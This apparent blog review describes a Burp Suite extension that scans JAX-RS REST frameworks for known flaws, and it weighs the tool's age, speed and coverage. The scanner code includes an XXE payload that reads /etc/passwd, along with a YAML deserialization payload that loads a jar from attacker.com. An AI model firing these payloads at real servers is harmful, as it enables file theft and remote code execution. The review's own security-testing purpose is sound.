Hunting JAX-RS Framework Vulnerabilities with Burp Suite: A Deep Dive into Unsafe-JAX-RS-Burp

Hook

In 2016, a critical RCE vulnerability (CVE-2016-9571) affected every RESTEasy deployment—yet most security scanners couldn't detect it. The problem wasn't the scanners; it was that they didn't understand JAX-RS framework internals.

Context

JAX-RS (Java API for RESTful Web Services) revolutionized how Java developers build REST APIs by introducing annotations like @Path, @GET, and @Consumes that make endpoint creation almost trivial. Frameworks like Jersey, RESTEasy, and Apache CXF implement this specification, automatically handling content negotiation, serialization, and request routing. This abstraction is powerful—but it also introduces a unique attack surface that generic vulnerability scanners fundamentally can't understand.

The problem is one of framework semantics. When Burp Suite or similar tools scan a REST API, they see HTTP requests and responses. They can find SQL injection, XSS, and other application-layer vulnerabilities. But they can't reason about JAX-RS's entity provider selection logic, WADL generation mechanisms, or how @Consumes annotations interact with XML parsers. Between 2015-2017, a series of critical vulnerabilities emerged in JAX-RS implementations—XXE flaws in entity providers, deserialization bugs in content negotiation, and RCE vectors in JAXB handling—that required framework-specific knowledge to discover. Unsafe-JAX-RS-Burp was created to bridge this gap, embedding JAX-RS expertise directly into Burp's active scanner.

Technical Insight

The extension operates as a Burp Suite Active Scanner check, implementing the IScannerCheck interface to register custom vulnerability detection logic. When Burp crawls a JAX-RS application, this extension intercepts each request and applies specialized transformations designed to trigger framework-specific behaviors.

One of the most sophisticated checks targets entity provider vulnerabilities. JAX-RS automatically deserializes request bodies based on the Content-Type header and available MessageBodyReaders. The extension exploits this by injecting payloads that test whether the application accepts XML input even when it ostensibly only supports JSON. Here's the conceptual approach:

# Simplified representation of the entity provider attack
def check_entity_provider_xxe(baseRequestResponse):
    original_request = baseRequestResponse.getRequest()
    
    # Parse the original request
    analyzed = helpers.analyzeRequest(original_request)
    headers = analyzed.getHeaders()
    
    # Create XXE payload targeting RESTEasy's XML parser
    xxe_payload = '''<?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ELEMENT foo ANY>
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root><data>&xxe;</data></root>'''
    
    # Modify Content-Type to trigger XML entity provider
    new_headers = [h for h in headers if not h.lower().startswith('content-type')]
    new_headers.append('Content-Type: application/xml')
    
    # Build and send the attack request
    attack_request = helpers.buildHttpMessage(new_headers, xxe_payload)
    attack_response = callbacks.makeHttpRequest(
        baseRequestResponse.getHttpService(),
        attack_request
    )
    
    # Check if file content leaked in response
    response_body = attack_response.getResponse()
    if b'root:x:0:0' in response_body:
        return create_issue('XXE via JAX-RS Entity Provider', 'High', ...)

The extension also implements WADL (Web Application Description Language) enumeration attacks. JAX-RS applications often expose WADL documents at predictable paths like /application.wadl or /api/application.wadl. These documents reveal the complete API structure, including hidden endpoints, parameter types, and resource relationships—information that's invaluable for further attacks. The scanner automatically requests common WADL paths and parses the XML to extract endpoint information.

Another critical check targets CVE-2016-9571, a remote code execution vulnerability in RESTEasy's YAML provider. When RESTEasy is configured with the resteasy-yaml-provider module, it uses SnakeYAML for deserialization. The extension tests this by sending requests with Content-Type: application/x-yaml containing malicious YAML payloads that attempt to instantiate dangerous Java classes:

# Detection logic for CVE-2016-9571 (RESTEasy YAML RCE)
yaml_rce_payload = '''!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]'''

# The extension sends this with appropriate headers
# and monitors for DNS callbacks or other OOB indicators

The architecture also includes checks for async job vulnerabilities specific to JAX-RS's @Suspended and AsyncResponse patterns, GZIP bomb attacks that exploit automatic content decompression, and information disclosure through JAX-RS exception mappers that leak stack traces containing framework internals. Each check is implemented as a separate method that returns an IScanIssue object when a vulnerability is confirmed, integrating seamlessly with Burp's issue tracking.

What makes this extension particularly effective is its understanding of JAX-RS content negotiation. The framework uses @Consumes and @Produces annotations to declare supported media types, but implementations often include default providers that accept formats not explicitly declared. The scanner exploits this by systematically testing alternative content types—sending XML when JSON is expected, YAML when XML is declared, and various serialization formats to identify parser vulnerabilities that only manifest with specific content types.

Gotcha

The extension's biggest limitation is its age—it targets vulnerabilities discovered between 2015-2017, primarily CVE-2016-6346 and CVE-2016-9571. JAX-RS frameworks have evolved significantly since then, with Jersey moving to version 3.x, RESTEasy to 6.x, and new implementations like Eclipse Jersey emerging. Newer vulnerabilities, patched configurations, and modern deployment patterns (like JAX-RS on Quarkus or Spring Boot's Jersey integration) aren't covered. If you're testing recently updated applications, you'll likely find that the CVE-specific checks report false positives because patches have been applied, or false negatives because new vulnerability patterns have emerged.

Performance can also be problematic. As a Python extension running in Jython within Burp, it adds noticeable overhead to active scans, especially on large APIs with hundreds of endpoints. The WADL parsing and XML manipulation operations are particularly CPU-intensive. Additionally, the extension requires Burp Suite Professional—the Community Edition lacks active scanning capabilities entirely. If your workflow involves lightweight, fast scans or you're working with Burp Free, this extension won't provide value. Finally, the repository hasn't seen updates since its initial release, meaning bugs won't be fixed and new JAX-RS attack vectors won't be added without forking and maintaining your own version.

Verdict

Use if: You're conducting penetration tests or security assessments against legacy JAX-RS applications (pre-2018) where RESTEasy or older Jersey versions are in use, you need to demonstrate concrete CVEs to development teams, you're doing comprehensive security research on REST framework attack surfaces, or you're building your own JAX-RS security tools and need reference implementations of framework-specific checks. Skip if: You're testing modern microservices built on current JAX-RS implementations, you need an actively maintained tool with recent vulnerability coverage, you're working with Burp Community Edition, or your primary concern is application logic vulnerabilities rather than framework-level exploits. For modern JAX-RS testing, you're better served by combining Burp's built-in scanner with manual testing informed by current CVE databases and framework security advisories.